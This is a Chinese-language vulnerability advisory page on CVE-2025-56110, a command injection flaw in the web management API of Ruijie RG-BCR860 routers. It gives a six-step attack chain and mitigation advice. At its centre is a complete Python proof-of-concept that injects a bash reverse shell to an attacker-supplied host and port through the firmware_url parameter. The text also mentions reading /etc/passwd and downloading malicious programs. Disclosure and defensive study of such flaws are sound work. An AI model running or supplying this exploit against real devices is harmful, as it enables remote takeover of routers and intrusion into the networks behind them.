IPBUF安全漏洞报告
English
CVE-2025-56110 CVSS 8.8 高危

CVE-2025-56110 Ruijie RG-BCR860 操作系统命令注入漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-56110
漏洞类型
操作系统命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ruijie RG-BCR RG-BCR860

相关标签

命令注入操作系统命令注入锐捷RuijieRG-BCR860路由器漏洞远程代码执行CVE-2025-56110高危漏洞Web接口漏洞

漏洞概述

CVE-2025-56110是锐捷网络(Ruijie)RG-BCR系列路由器中发现的严重安全漏洞。该漏洞位于RG-BCR860设备的Web管理界面,由于对用户输入的过滤不严,导致攻击者可以通过构造恶意的POST请求,在设备上执行任意操作系统命令。攻击者无需具备管理员权限,仅需低权限账户即可利用此漏洞。成功利用此漏洞后,攻击者可以完全控制受影响设备,执行任意系统命令、窃取敏感数据、植入后门或将其作为进一步攻击内网的跳板。由于该漏洞的CVSS评分高达8.8,且可通过网络远程利用,无需用户交互,因此被评定为高危漏洞。锐捷RG-BCR系列路由器广泛应用于企业网络、校园网络和公共场所,漏洞的存在对网络安全构成严重威胁。

技术细节

该漏洞属于操作系统命令注入(OS Command Injection)类型,具体存在于设备Web管理接口的API处理模块中。漏洞点位于文件/usr/lib/lua/luci/controller/api/rcmsAPI.lua的action_deal_update函数。攻击者通过构造包含恶意命令的POST请求,将命令参数注入到系统调用中。由于应用程序未对用户输入进行充分的输入验证和命令边界检查,注入的命令会被底层操作系统执行。攻击者可以利用分号、管道符、&&、||等命令连接符,在原有命令基础上追加任意系统命令,如查看/etc/passwd文件、启动telnet服务、下载恶意程序等。由于Web服务通常以root权限运行,攻击者可直接获得设备的完全控制权。

攻击链分析

STEP 1
步骤1
扫描目标设备:识别运行锐捷RG-BCR860固件的设备,确认Web管理接口可访问
STEP 2
步骤2
获取低权限访问:利用默认凭证或已有账户登录Web管理界面
STEP 3
步骤3
构造恶意请求:构造包含命令注入载荷的POST请求,目标为/action_deal_update接口
STEP 4
步骤4
注入命令执行:在firmware_url参数中注入系统命令,如使用分号或管道符追加恶意命令
STEP 5
步骤5
建立持久化:执行命令后,攻击者可植入后门、创建高权限账户或修改启动脚本
STEP 6
步骤6
横向移动:利用被控设备作为跳板,攻击内网其他系统或嗅探网络流量

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-56110 PoC - Ruijie RG-BCR860 OS Command Injection This PoC demonstrates the command injection vulnerability in Ruijie RG-BCR860 via the action_deal_update endpoint in rcmsAPI.lua """ import requests import sys def exploit(target_ip, attacker_ip, attacker_port): """ Exploit CVE-2025-56110 by injecting a reverse shell command Args: target_ip: IP address of the vulnerable Ruijie RG-BCR860 device attacker_ip: Attacker\'s IP address for reverse shell attacker_port: Port for reverse shell connection """ url = f"http://{target_ip}/cgi-bin/luci/api/rcmsAPI/action_deal_update" # Payload: Inject command to create reverse shell # The command will connect back to attacker\'s machine payload = f";bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1;" # Construct the malicious POST request data = { "action": "update", "firmware_url": payload, "device_id": "test_device" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; RG-BCR-Management/1.0)" } try: print(f"[*] Sending exploit payload to {target_ip}...") print(f"[*] Payload: {payload}") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True def main(): if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_ip> <attacker_ip> <attacker_port>") print(f"Example: {sys.argv[0]} 192.168.1.1 192.168.1.100 4444") sys.exit(1) target_ip = sys.argv[1] attacker_ip = sys.argv[2] attacker_port = sys.argv[3] exploit(target_ip, attacker_ip, attacker_port) if __name__ == "__main__": main()

影响范围

Ruijie RG-BCR860 所有已知固件版本
Ruijie RG-BCR 系列设备受影响的固件版本

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 通过访问控制列表(ACL)限制管理接口的访问来源,仅允许可信IP地址访问Web管理界面;2) 关闭设备的远程管理功能,改为本地管理;3) 监控设备日志,关注异常API调用和命令执行记录;4) 在边界防火墙上阻断对设备8080、443等常用Web管理端口的非授权访问;5) 考虑部署蜜罐或欺骗网络技术诱捕潜在攻击者。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表